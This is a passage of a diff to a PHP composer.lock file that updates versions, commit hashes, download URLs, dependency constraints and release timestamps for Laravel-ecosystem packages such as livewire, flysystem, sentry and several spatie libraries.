"0feb62267e7b8abc68593ca37639ad302728c129", "shasum": "" }, "require": { "ext-json": "*", "firebase/php-jwt": "^6.4|^7.0", "guzzlehttp/guzzle": "^6.0|^7.0", - "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "league/oauth1-client": "^1.11", "php": "^7.2|^8.0", "phpseclib/phpseclib": "^3.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.12.23", "phpunit/phpunit": "^8.0|^9.3|^10.4|^11.5|^12.0" }, @@ -2396,20 +2457,20 @@ "issues": "https://github.com/laravel/socialite/issues", "source": "https://github.com/laravel/socialite" }, - "time": "2026-01-10T16:07:28+00:00" + "time": "2026-02-21T13:32:50+00:00" }, { "name": "laravel/tinker", - "version": "v2.11.0", + "version": "v2.11.1", "source": { "type": "git", "url": "https://github.com/laravel/tinker.git", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468" + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/tinker/zipball/3d34b97c9a1747a81a3fde90482c092bd8b66468", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468", + "url": "https://api.github.com/repos/laravel/tinker/zipball/c9f80cc835649b5c1842898fb043f8cc098dd741", + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741", "shasum": "" }, "require": { @@ -2460,9 +2521,9 @@ ], "support": { "issues": "https://github.com/laravel/tinker/issues", - "source": "https://github.com/laravel/tinker/tree/v2.11.0" + "source": "https://github.com/laravel/tinker/tree/v2.11.1" }, - "time": "2025-12-19T19:16:45+00:00" + "time": "2026-02-06T14:12:35+00:00" }, { "name": "laravel/ui", @@ -2791,16 +2852,16 @@ }, { "name": "league/flysystem", - "version": "3.31.0", + "version": "3.32.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem.git", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff" + "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/1717e0b3642b0df65ecb0cc89cdd99fa840672ff", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/254b1595b16b22dbddaaef9ed6ca9fdac4956725", + "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725", "shasum": "" }, "require": { @@ -2868,22 +2929,22 @@ ], "support": { "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem/tree/3.32.0" }, - "time": "2026-01-23T15:38:47+00:00" + "time": "2026-02-25T17:01:41+00:00" }, { "name": "league/flysystem-aws-s3-v3", - "version": "3.31.0", + "version": "3.32.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-aws-s3-v3.git", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f" + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/e36a2bc60b06332c92e4435047797ded352b446f", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f", + "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/a1979df7c9784d334ea6df356aed3d18ac6673d0", + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0", "shasum": "" }, "require": { @@ -2923,9 +2984,9 @@ "storage" ], "support": { - "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.32.0" }, - "time": "2026-01-23T15:30:45+00:00" + "time": "2026-02-25T16:46:44+00:00" }, { "name": "league/flysystem-local", @@ -3341,36 +3402,36 @@ }, { "name": "livewire/livewire", - "version": "v3.7.8", + "version": "v3.7.11", "source": { "type": "git", "url": "https://github.com/livewire/livewire.git", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607" + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/livewire/livewire/zipball/06ec7e8cd61bb01739b8f26396db6fe73b7e0607", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607", + "url": "https://api.github.com/repos/livewire/livewire/zipball/addd6e8e9234df75f29e6a327ee2a745a7d67bb6", + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6", "shasum": "" }, "require": { - "illuminate/database": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "illuminate/validation": "^10.0|^11.0|^12.0", + "illuminate/database": "^10.0|^11.0|^12.0|^13.0", + "illuminate/routing": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", + "illuminate/validation": "^10.0|^11.0|^12.0|^13.0", "laravel/prompts": "^0.1.24|^0.2|^0.3", "league/mime-type-detection": "^1.9", "php": "^8.1", - "symfony/console": "^6.0|^7.0", - "symfony/http-kernel": "^6.2|^7.0" + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/http-kernel": "^6.2|^7.0|^8.0" }, "require-dev": { "calebporzio/sushi": "^2.1", - "laravel/framework": "^10.15.0|^11.0|^12.0", + "laravel/framework": "^10.15.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.3.1", - "orchestra/testbench": "^8.21.0|^9.0|^10.0", - "orchestra/testbench-dusk": "^8.24|^9.1|^10.0", - "phpunit/phpunit": "^10.4|^11.5", + "orchestra/testbench": "^8.21.0|^9.0|^10.0|^11.0", + "orchestra/testbench-dusk": "^8.24|^9.1|^10.0|^11.0", + "phpunit/phpunit": "^10.4|^11.5|^12.5", "psy/psysh": "^0.11.22|^0.12" }, "type": "library", @@ -3405,7 +3466,7 @@ "description": "A front-end framework for Laravel.", "support": { "issues": "https://github.com/livewire/livewire/issues", - "source": "https://github.com/livewire/livewire/tree/v3.7.8" + "source": "https://github.com/livewire/livewire/tree/v3.7.11" }, "funding": [ { @@ -3413,7 +3474,7 @@ "type": "github" } ], - "time": "2026-02-03T02:57:56+00:00" + "time": "2026-02-26T00:58:19+00:00" }, { "name": "log1x/laravel-webfonts", @@ -3901,16 +3962,16 @@ }, { "name": "nette/schema", - "version": "v1.3.3", + "version": "v1.3.5", "source": { "type": "git", "url": "https://github.com/nette/schema.git", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004" + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/schema/zipball/2befc2f42d7c715fd9d95efc31b1081e5d765004", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004", + "url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002", + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002", "shasum": "" }, "require": { @@ -3918,8 +3979,10 @@ "php": "8.1 - 8.5" }, "require-dev": { - "nette/tester": "^2.5.2", - "phpstan/phpstan-nette": "^2.0@stable", + "nette/phpstan-rules": "^1.0", + "nette/tester": "^2.6", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1.39@stable", "tracy/tracy": "^2.8" }, "type": "library", @@ -3960,22 +4023,22 @@ ], "support": { "issues": "https://github.com/nette/schema/issues", - "source": "https://github.com/nette/schema/tree/v1.3.3" + "source": "https://github.com/nette/schema/tree/v1.3.5" }, - "time": "2025-10-30T22:57:59+00:00" + "time": "2026-02-23T03:47:12+00:00" }, { "name": "nette/utils", - "version": "v4.1.2", + "version": "v4.1.3", "source": { "type": "git", "url": "https://github.com/nette/utils.git", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5" + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/utils/zipball/f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", + "url": "https://api.github.com/repos/nette/utils/zipball/bb3ea637e3d131d72acc033cfc2746ee893349fe", + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe", "shasum": "" }, "require": { @@ -3987,8 +4050,10 @@ }, "require-dev": { "jetbrains/phpstorm-attributes": "^1.2", + "nette/phpstan-rules": "^1.0", "nette/tester": "^2.5", - "phpstan/phpstan": "^2.0@stable", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1@stable", "tracy/tracy": "^2.9" }, "suggest": { @@ -4049,9 +4114,9 @@ ], "support": { "issues": "https://github.com/nette/utils/issues", - "source": "https://github.com/nette/utils/tree/v4.1.2" + "source": "https://github.com/nette/utils/tree/v4.1.3" }, - "time": "2026-02-03T17:21:09+00:00" + "time": "2026-02-13T03:05:33+00:00" }, { "name": "nikic/php-parser", @@ -4166,31 +4231,31 @@ }, { "name": "nunomaduro/termwind", - "version": "v2.3.3", + "version": "v2.4.0", "source": { "type": "git", "url": "https://github.com/nunomaduro/termwind.git", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017" + "reference": "712a31b768f5daea284c2169a7d227031001b9a8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/6fb2a640ff502caace8e05fd7be3b503a7e1c017", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/712a31b768f5daea284c2169a7d227031001b9a8", + "reference": "712a31b768f5daea284c2169a7d227031001b9a8", "shasum": "" }, "require": { "ext-mbstring": "*", "php": "^8.2", - "symfony/console": "^7.3.6" + "symfony/console": "^7.4.4 || ^8.0.4" }, "require-dev": { - "illuminate/console": "^11.46.1", - "laravel/pint": "^1.25.1", + "illuminate/console": "^11.47.0", + "laravel/pint": "^1.27.1", "mockery/mockery": "^1.6.12", - "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.1.3", + "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.3.2", "phpstan/phpstan": "^1.12.32", "phpstan/phpstan-strict-rules": "^1.6.2", - "symfony/var-dumper": "^7.3.5", + "symfony/var-dumper": "^7.3.5 || ^8.0.4", "thecodingmachine/phpstan-strict-rules": "^1.0.0" }, "type": "library", @@ -4222,7 +4287,7 @@ "email": "enunomaduro@gmail.com" } ], - "description": "Its like Tailwind CSS, but for the console.", + "description": "It's like Tailwind CSS, but for the console.", "keywords": [ "cli", "console", @@ -4233,7 +4298,7 @@ ], "support": { "issues": "https://github.com/nunomaduro/termwind/issues", - "source": "https://github.com/nunomaduro/termwind/tree/v2.3.3" + "source": "https://github.com/nunomaduro/termwind/tree/v2.4.0" }, "funding": [ { @@ -4249,7 +4314,7 @@ "type": "github" } ], - "time": "2025-11-20T02:34:59+00:00" + "time": "2026-02-16T23:10:27+00:00" }, { "name": "nyholm/psr7", @@ -5776,16 +5841,16 @@ }, { "name": "psy/psysh", - "version": "v0.12.19", + "version": "v0.12.20", "source": { "type": "git", "url": "https://github.com/bobthecow/psysh.git", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee" + "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/bobthecow/psysh/zipball/a4f766e5c5b6773d8399711019bb7d90875a50ee", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/19678eb6b952a03b8a1d96ecee9edba518bb0373", + "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373", "shasum": "" }, "require": { @@ -5849,9 +5914,9 @@ ], "support": { "issues": "https://github.com/bobthecow/psysh/issues", - "source": "https://github.com/bobthecow/psysh/tree/v0.12.19" + "source": "https://github.com/bobthecow/psysh/tree/v0.12.20" }, - "time": "2026-01-30T17:33:13+00:00" + "time": "2026-02-11T15:05:28+00:00" }, { "name": "purplepixie/phpdns", @@ -6288,16 +6353,16 @@ }, { "name": "sentry/sentry", - "version": "4.19.1", + "version": "4.21.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-php.git", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3" + "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/1c21d60bebe67c0122335bd3fe977990435af0a3", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3", + "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/2bf405fc4d38f00073a7d023cf321e59f614d54c", + "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c", "shasum": "" }, "require": { @@ -6318,9 +6383,12 @@ "guzzlehttp/promises": "^2.0.3", "guzzlehttp/psr7": "^1.8.4|^2.1.1", "monolog/monolog": "^1.6|^2.0|^3.0", + "nyholm/psr7": "^1.8", "phpbench/phpbench": "^1.0", "phpstan/phpstan": "^1.3", - "phpunit/phpunit": "^8.5|^9.6", + "phpunit/phpunit": "^8.5.52|^9.6.34", + "spiral/roadrunner-http": "^3.6", + "spiral/roadrunner-worker": "^3.6", "vimeo/psalm": "^4.17" }, "suggest": { @@ -6360,7 +6428,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-php/issues", - "source": "https://github.com/getsentry/sentry-php/tree/4.19.1" + "source": "https://github.com/getsentry/sentry-php/tree/4.21.0" }, "funding": [ { @@ -6372,27 +6440,27 @@ "type": "custom" } ], - "time": "2025-12-02T15:57:41+00:00" + "time": "2026-02-24T15:32:51+00:00" }, { "name": "sentry/sentry-laravel", - "version": "4.20.1", + "version": "4.21.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-laravel.git", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72" + "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/503853fa7ee74b34b64e76f1373db86cd11afe72", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72", + "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/4b939116c2d3c5de328f23a5f1dfb97b40e0c17b", + "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b", "shasum": "" }, "require": { "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0", "nyholm/psr7": "^1.0", "php": "^7.2 | ^8.0", - "sentry/sentry": "^4.19.0", + "sentry/sentry": "^4.21.0", "symfony/psr-http-message-bridge": "^1.0 | ^2.0 | ^6.0 | ^7.0 | ^8.0" }, "require-dev": { @@ -6405,7 +6473,7 @@ "mockery/mockery": "^1.3", "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0", "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.4 | ^9.3 | ^10.4 | ^11.5" + "phpunit/phpunit": "^8.5 | ^9.6 | ^10.4 | ^11.5" }, "type": "library", "extra": { @@ -6450,7 +6518,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-laravel/issues", - "source": "https://github.com/getsentry/sentry-laravel/tree/4.20.1" + "source": "https://github.com/getsentry/sentry-laravel/tree/4.21.0" }, "funding": [ { @@ -6462,20 +6530,20 @@ "type": "custom" } ], - "time": "2026-01-07T08:53:19+00:00" + "time": "2026-02-26T16:08:52+00:00" }, { "name": "socialiteproviders/authentik", - "version": "5.2.0", + "version": "5.3.0", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Authentik.git", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66" + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4cf129cf04728a38e0531c54454464b162f0fa66", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66", + "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", "shasum": "" }, "require": { @@ -6512,7 +6580,7 @@ "issues": "https://github.com/socialiteproviders/providers/issues", "source": "https://github.com/socialiteproviders/providers" }, - "time": "2023-11-07T22:21:16+00:00" + "time": "2026-02-04T14:27:03+00:00" }, { "name": "socialiteproviders/clerk", @@ -7007,29 +7075,29 @@ }, { "name": "spatie/laravel-activitylog", - "version": "4.11.0", + "version": "4.12.1", "source": { "type": "git", "url": "https://github.com/spatie/laravel-activitylog.git", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f" + "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/cd7c458f0e128e56eb2d71977d67a846ce4cc10f", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f", + "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/bf66b5bbe9a946e977e876420d16b30b9aff1b2d", + "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d", "shasum": "" }, "require": { - "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", - "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0", - "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", + "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", "php": "^8.1", "spatie/laravel-package-tools": "^1.6.3" }, "require-dev": { "ext-json": "*", - "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0", - "pestphp/pest": "^1.20 || ^2.0 || ^3.0" + "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0 || ^11.0", + "pestphp/pest": "^1.20 || ^2.0 || ^3.0 || ^4.0" }, "type": "library", "extra": { @@ -7082,7 +7150,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-activitylog/issues", - "source": "https://github.com/spatie/laravel-activitylog/tree/4.11.0" + "source": "https://github.com/spatie/laravel-activitylog/tree/4.12.1" }, "funding": [ { @@ -7094,24 +7162,24 @@ "type": "github" } ], - "time": "2026-01-31T12:25:02+00:00" + "time": "2026-02-22T08:37:18+00:00" }, { "name": "spatie/laravel-data", - "version": "4.19.1", + "version": "4.20.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-data.git", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89" + "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-data/zipball/41ed0472250676f19440fb24d7b62a8d43abdb89", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89", + "url": "https://api.github.com/repos/spatie/laravel-data/zipball/05b792ab0e059d26eca15d47d199ba6f4c96054e", + "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e", "shasum": "" }, "require": { - "illuminate/contracts": "^10.0|^11.0|^12.0", + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "phpdocumentor/reflection": "^6.0", "spatie/laravel-package-tools": "^1.9.0", @@ -7121,10 +7189,10 @@ "fakerphp/faker": "^1.14", "friendsofphp/php-cs-fixer": "^3.0", "inertiajs/inertia-laravel": "^2.0", - "livewire/livewire": "^3.0", + "livewire/livewire": "^3.0|^4.0", "mockery/mockery": "^1.6", "nesbot/carbon": "^2.63|^3.0", - "orchestra/testbench": "^8.37.0|^9.16|^10.9", + "orchestra/testbench": "^8.37.0|^9.16|^10.9|^11.0", "pestphp/pest": "^2.36|^3.8|^4.3", "pestphp/pest-plugin-laravel": "^2.4|^3.0|^4.0", "pestphp/pest-plugin-livewire": "^2.1|^3.0|^4.0", @@ -7168,7 +7236,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-data/issues", - "source": "https://github.com/spatie/laravel-data/tree/4.19.1" + "source": "https://github.com/spatie/laravel-data/tree/4.20.0" }, "funding": [ { @@ -7176,27 +7244,27 @@ "type": "github" } ], - "time": "2026-01-28T13:10:20+00:00" + "time": "2026-02-25T16:18:18+00:00" }, { "name": "spatie/laravel-markdown", - "version": "2.7.1", + "version": "2.8.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-markdown.git", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280" + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/353e7f9fae62826e26cbadef58a12ecf39685280", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280", + "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/eabe8c7e31c2739ad0fe63ba04eb2e3189608187", + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187", "shasum": "" }, "require": { - "illuminate/cache": "^9.0|^10.0|^11.0|^12.0", - "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^9.0|^10.0|^11.0|^12.0", - "illuminate/view": "^9.0|^10.0|^11.0|^12.0", + "illuminate/cache": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/view": "^9.0|^10.0|^11.0|^12.0|^13.0", "league/commonmark": "^2.6.0", "php": "^8.1", "spatie/commonmark-shiki-highlighter": "^2.5", @@ -7205,9 +7273,9 @@ "require-dev": { "brianium/paratest": "^6.2|^7.8", "nunomaduro/collision": "^5.3|^6.0|^7.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0", - "pestphp/pest": "^1.22|^2.0|^3.7", - "phpunit/phpunit": "^9.3|^11.5.3", + "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0|^11.0", + "pestphp/pest": "^1.22|^2.0|^3.7|^4.4", + "phpunit/phpunit": "^9.3|^11.5.3|^12.5.12", "spatie/laravel-ray": "^1.23", "spatie/pest-plugin-snapshots": "^1.1|^2.2|^3.0", "vimeo/psalm": "^4.8|^6.7" @@ -7244,7 +7312,7 @@ "spatie" ], "support": { - "source": "https://github.com/spatie/laravel-markdown/tree/2.7.1" + "source": "https://github.com/spatie/laravel-markdown/tree/2.8.0" }, "funding": [ { @@ -7252,33 +7320,33 @@ "type": "github" } ], - "time": "2025-02-21T13:43:18+00:00" + "time": "2026-02-22T18:53:36+00:00" }, { "name": "spatie/laravel-package-tools", - "version": "1.92.7", + "version": "1.93.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-package-tools.git", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5" + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/f09a799850b1ed765103a4f0b4355006360c49a5", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", "shasum": "" }, "require": { - "illuminate/contracts": "^9.28|^10.0|^11.0|^12.0", - "php": "^8.0" + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", + "php": "^8.1" }, "require-dev": { "mockery/mockery": "^1.5", - "orchestra/testbench": "^7.7|^8.0|^9.0|^10.0", - "pestphp/pest": "^1.23|^2.1|^3.1", - "phpunit/php-code-coverage": "^9.0|^10.0|^11.0", - "phpunit/phpunit": "^9.5.24|^10.5|^11.5", - "spatie/pest-plugin-test-time": "^1.1|^2.2" + "orchestra/testbench": "^8.0|^9.2|^10.0|^11.0", + "pestphp/pest": "^2.1|^3.1|^4.0", + "phpunit/php-code-coverage": "^10.0|^11.0|^12.0", + "phpunit/phpunit": "^10.5|^11.5|^12.5", + "spatie/pest-plugin-test-time": "^2.2|^3.0" }, "type": "library", "autoload": { @@ -7305,7 +7373,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-package-tools/issues", - "source": "https://github.com/spatie/laravel-package-tools/tree/1.92.7" + "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.0" }, "funding": [ { @@ -7313,29 +7381,29 @@ "type": "github" } ], - "time": "2025-07-17T15:46:43+00:00" + "time": "2026-02-21T12:49:54+00:00" }, { "name": "spatie/laravel-ray", - "version": "1.43.5", + "version": "1.43.6", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ray.git", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d" + "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/2003e627d4a17e8411fff18153e47a754f0c028d", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d", + "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/117a4addce2cb8adfc01b864435b5b278e2f0c40", + "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-json": "*", - "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^7.4|^8.0", "spatie/backtrace": "^1.7.1", "spatie/ray": "^1.45.0", @@ -7344,9 +7412,9 @@ }, "require-dev": { "guzzlehttp/guzzle": "^7.3", - "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "laravel/pint": "^1.27", - "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0", + "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0", "pestphp/pest": "^1.22|^2.0|^3.0|^4.0", "phpstan/phpstan": "^1.10.57|^2.0.2", "phpunit/phpunit": "^9.3|^10.1|^11.0.10|^12.4", @@ -7390,7 +7458,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-ray/issues", - "source": "https://github.com/spatie/laravel-ray/tree/1.43.5" + "source": "https://github.com/spatie/laravel-ray/tree/1.43.6" }, "funding": [ { @@ -7402,26 +7470,26 @@ "type": "other" } ], - "time": "2026-01-26T19:05:19+00:00" + "time": "2026-02-19T10:24:51+00:00" }, { "name": "spatie/laravel-schemaless-attributes", - "version": "2.5.1", + "version": "2.6.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-schemaless-attributes.git", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a" + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/3561875fb6886ae55e5378f20ba5ac87f20b265a", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a", + "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/7d17ab5f434ae47324b849e007ce80669966c14e", + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e", "shasum": "" }, "require": { - "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^8.0", "spatie/laravel-package-tools": "^1.4.3" }, @@ -7429,9 +7497,9 @@ "brianium/paratest": "^6.2|^7.4", "mockery/mockery": "^1.4", "nunomaduro/collision": "^5.3|^6.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0", - "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1", - "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.0" + 